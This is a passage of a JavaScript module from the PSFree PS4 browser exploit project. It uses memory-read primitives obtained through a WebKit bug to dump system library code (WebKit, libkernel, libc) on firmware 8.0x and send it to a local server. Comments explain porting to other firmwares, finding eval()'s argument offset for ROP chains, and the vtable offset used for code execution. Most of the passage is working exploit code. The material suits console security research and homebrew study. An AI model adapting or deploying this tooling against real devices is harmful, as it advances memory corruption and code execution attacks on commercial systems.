 21 | // This script is for firmware 8.0x. You need to port this to your firmware if
 22 | // you want to use it. It only dumps the .text and PT_SCE_RELRO segments. It
 23 | // doesn't dump the entire ELF file.
 24 | //
 25 | // There's also some miscellaneous functions to dump functions from WebKit that
 26 | // were studied during the development of PSFree.
 27 | 
 28 | // libkernel libraries contain syscalls
 29 | // syscalls are enforced to be called from these libraries
 30 | //
 31 | // libkernel_web.sprx is used by the browser in firmwares >= 6.00
 32 | // libkernel.sprx for firmwares below
 33 | //
 34 | // libkernel_sys.sprx contains syscalls that aren't found in the others, such
 35 | // as mount and nmount
 36 | //
 37 | // the BD-J app uses libkernel_sys.sprx for example
 38 | 
 39 | // Porting HOWTO:
 40 | //
 41 | // You can only dump the WebKit module (libSceNKWebKit.sprx for FW >= 6.00,
 42 | // else libSceWebkit2.sprx) initially via dump_libwebkit() on any firmware.
 43 | // We'll use the WebKit dump to search for imported functions from libkernel
 44 | // and LibcInternal. Once we resolve the imports, we can use find_base() to get
 45 | // the boundaries of these modules.
 46 | //
 47 | // Most of the work is done for you at dump_lib*(). You just need to find the
 48 | // offset of the imported functions relative to WebKit's base address.
 49 | //
 50 | // import candidates:
 51 | //
 52 | // __stack_chk_fail() is a good import from libkernel to search for as it's
 53 | // easy to find since most functions are protected by a stack canary.
 54 | //
 55 | // For a LibcInternal import we searched for strlen() but you can search for
 56 | // any libc function such as memcpy().
 57 | 
 58 | import * as config from './config.mjs';
 59 | 
 60 | import { Int } from './module/int64.mjs';
 61 | import { Addr, mem } from './module/mem.mjs';
 62 | import { make_buffer, find_base, resolve_import } from './module/memtools.mjs';
 63 | import { KB, MB } from './module/offset.mjs';
 64 | 
 65 | import {
 66 |     log,
 67 |     align,
 68 |     die,
 69 |     send,
 70 | } from './module/utils.mjs';
 71 | 
 72 | import * as rw from './module/rw.mjs';
 73 | import * as o from './module/offset.mjs';
 74 | 
 75 | const origin = window.origin;
 76 | const port = '8000';
 77 | const url = `${origin}:${port}`;
 78 | 
 79 | const textarea = document.createElement('textarea');
 80 | // JSObject
 81 | const js_textarea = mem.addrof(textarea);
 82 | 
 83 | // boundaries of the .text + PT_SCE_RELRO portion of a module
 84 | function get_boundaries(leak) {
 85 |     const lib_base = find_base(leak, true, true);
 86 |     const lib_end = find_base(leak, false, false);
 87 | 
 88 |     return [lib_base, lib_end]
 89 | }
 90 | 
 91 | // dump a module's .text and PT_SCE_RELRO segments only
 92 | function dump(name, lib_base, lib_end) {
 93 |     // assumed size < 4GB
 94 |     const lib_size = lib_end.sub(lib_base).lo;
 95 |     log(`${name} base: ${lib_base}`);
 96 |     log(`${name} size: ${lib_size}`);
 97 |     const lib = make_buffer(
 98 |         lib_base,
 99 |         lib_size
100 |     );
101 |     send(
102 |         url,
103 |         lib,
104 |         `${name}.sprx.text_${lib_base}.bin`,
105 |         () => log(`${name} sent`)
106 |     );
107 | }
108 | 
109 | // dump for libSceNKWebKit.sprx
110 | function dump_libwebkit() {
111 |     let addr = js_textarea;
112 |     // WebCore::HTMLTextAreaElement
113 |     addr = addr.readp(0x18);
114 | 
115 |     // vtable for WebCore::HTMLTextAreaElement
116 |     // in PT_SCE_RELRO segment (p_type = 0x6100_0010)
117 |     addr = addr.readp(0);
118 | 
119 |     log(`vtable: ${addr}`);
120 |     const vtable = make_buffer(addr, 0x400);
121 |     send(url, vtable, `vtable_${addr}.bin`, () => log('vtable sent'));
122 | 
123 |     const [lib_base, lib_end] = get_boundaries(addr);
124 |     dump('libSceNKWebKit', lib_base, lib_end);
125 | 
126 |     return lib_base;
127 | }
128 | 
129 | // dump for libkernel_web.sprx
130 | function dump_libkernel(libwebkit_base) {
131 |     const offset = 0x8d8;
132 |     const vtable_p = js_textarea.readp(0x18).readp(0);
133 |     // __stack_chk_fail
134 |     const stack_chk_fail_import = libwebkit_base.add(offset);
135 | 
136 |     const libkernel_leak = resolve_import(stack_chk_fail_import);
137 |     log(`__stack_chk_fail import: ${libkernel_leak}`);
138 | 
139 |     const [lib_base, lib_end] = get_boundaries(libkernel_leak);
140 |     dump('libkernel_web', lib_base, lib_end);
141 | }
142 | 
143 | // dump for libSceLibcInternal.sprx
144 | function dump_libc(libwebkit_base) {
145 |     const offset = 0x918;
146 |     const vtable_p = js_textarea.readp(0x18).readp(0);
147 |     // strlen
148 |     const strlen_import = libwebkit_base.add(offset);
149 | 
150 |     const libc_leak = resolve_import(strlen_import);
151 |     log(`strlen import: ${libc_leak}`);
152 | 
153 |     const [lib_base, lib_end] = get_boundaries(libc_leak);
154 |     dump('libSceLibcInternal', lib_base, lib_end);
155 | }
156 | 
157 | function dump_webkit() {
158 |     const libwebkit_base = dump_libwebkit();
159 |     dump_libkernel(libwebkit_base);
160 |     dump_libc(libwebkit_base);
161 | }
162 | 
163 | // See globalFuncEval() from
164 | // WebKit/Source/JavaScriptCore/runtime/JSGlobalObjectFunctions.cpp at PS4
165 | // 8.03.
166 | //
167 | // Used to dump the implementation of eval() to figure out the expression
168 | // "execState.argument(0)".
169 | //
170 | // eval()'s native function receives a JSC::ExecState pointer (renamed to
171 | // JSC::CallFrame on webkitgtk 2.34.4). That type has an argument() method
172 | // which takes an index and returns the corresponding JSValue passed to eval(),
173 | // e.g. execState.argument(0) is the first JSValue argument.
174 | //
175 | // execState.argument(0) evaluates to *(&execState + argumentOffset + 0).
176 | // Knowing the argumentOffset is useful for passing data to ROP chains.
177 | // argumentOffset is 0x30 for PS4 8.03.
178 | //
179 | // The PS4 uses the System V ABI. The ExecState pointer is passed to the rdi
180 | // register since it is the first argument. ROP chains can get the JSValue
181 | // passed via *(rdi + 0x30).
182 | //
183 | // For example, the expression "eval(1)" has the JSValue encoding of 1 passed
184 | // to *(rdi + 0x30).
185 | function dump_eval() {
186 |     let addr = js_textarea;
187 |     // WebCore::HTMLTextAreaElement
188 |     addr = addr.readp(0x18);
189 | 
190 |     // vtable for WebCore::HTMLTextAreaElement
191 |     // in PT_SCE_RELRO segment (p_type = 0x6100_0010)
192 |     addr = addr.readp(0);
193 | 
194 |     const libwebkit_base =  find_base(addr, true, true);
195 |     const impl = mem.addrof(eval).readp(0x18).readp(0x38);
196 |     const offset = impl.sub(libwebkit_base);
197 |     send(
198 |         url,
199 |         make_buffer(impl, 0x800),
200 |         `eval_dump_offset_${offset}.bin`,
201 |         () => log('sent')
202 |     );
203 | }
204 | 
205 | // Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if
206 | // it works. It did but let's add this dumper so we can verify it another way.
207 | // See howto_code_exec.txt about code execution via the vtable of a textarea
208 | // element.
209 | function dump_scrollLeft() {
210 |     let proto = Object.getPrototypeOf(textarea);
211 |     proto = Object.getPrototypeOf(proto);
212 |     proto = Object.getPrototypeOf(proto);
213 | 
214 |     const scrollLeft_get =
215 |         Object.getOwnPropertyDescriptors(proto).scrollLeft.get
216 |     ;
217 | 
218 |     // get the JSCustomGetterSetterFunction
219 |     const js_func = mem.addrof(scrollLeft_get);
220 |     const getterSetter = js_func.readp(0x28);
221 |     const getter = getterSetter.readp(8);
222 | 
223 |     const libwebkit_base = find_base(getter, true, true);
224 |     const offset = getter.sub(libwebkit_base);
225 |     send(
226 |         url,
227 |         make_buffer(getter, 0x800),
228 |         `scrollLeft_getter_dump_offset_${offset}.bin`,
229 |         () => log('sent')
230 |     );
231 | }
232 | 


--------------------------------------------------------------------------------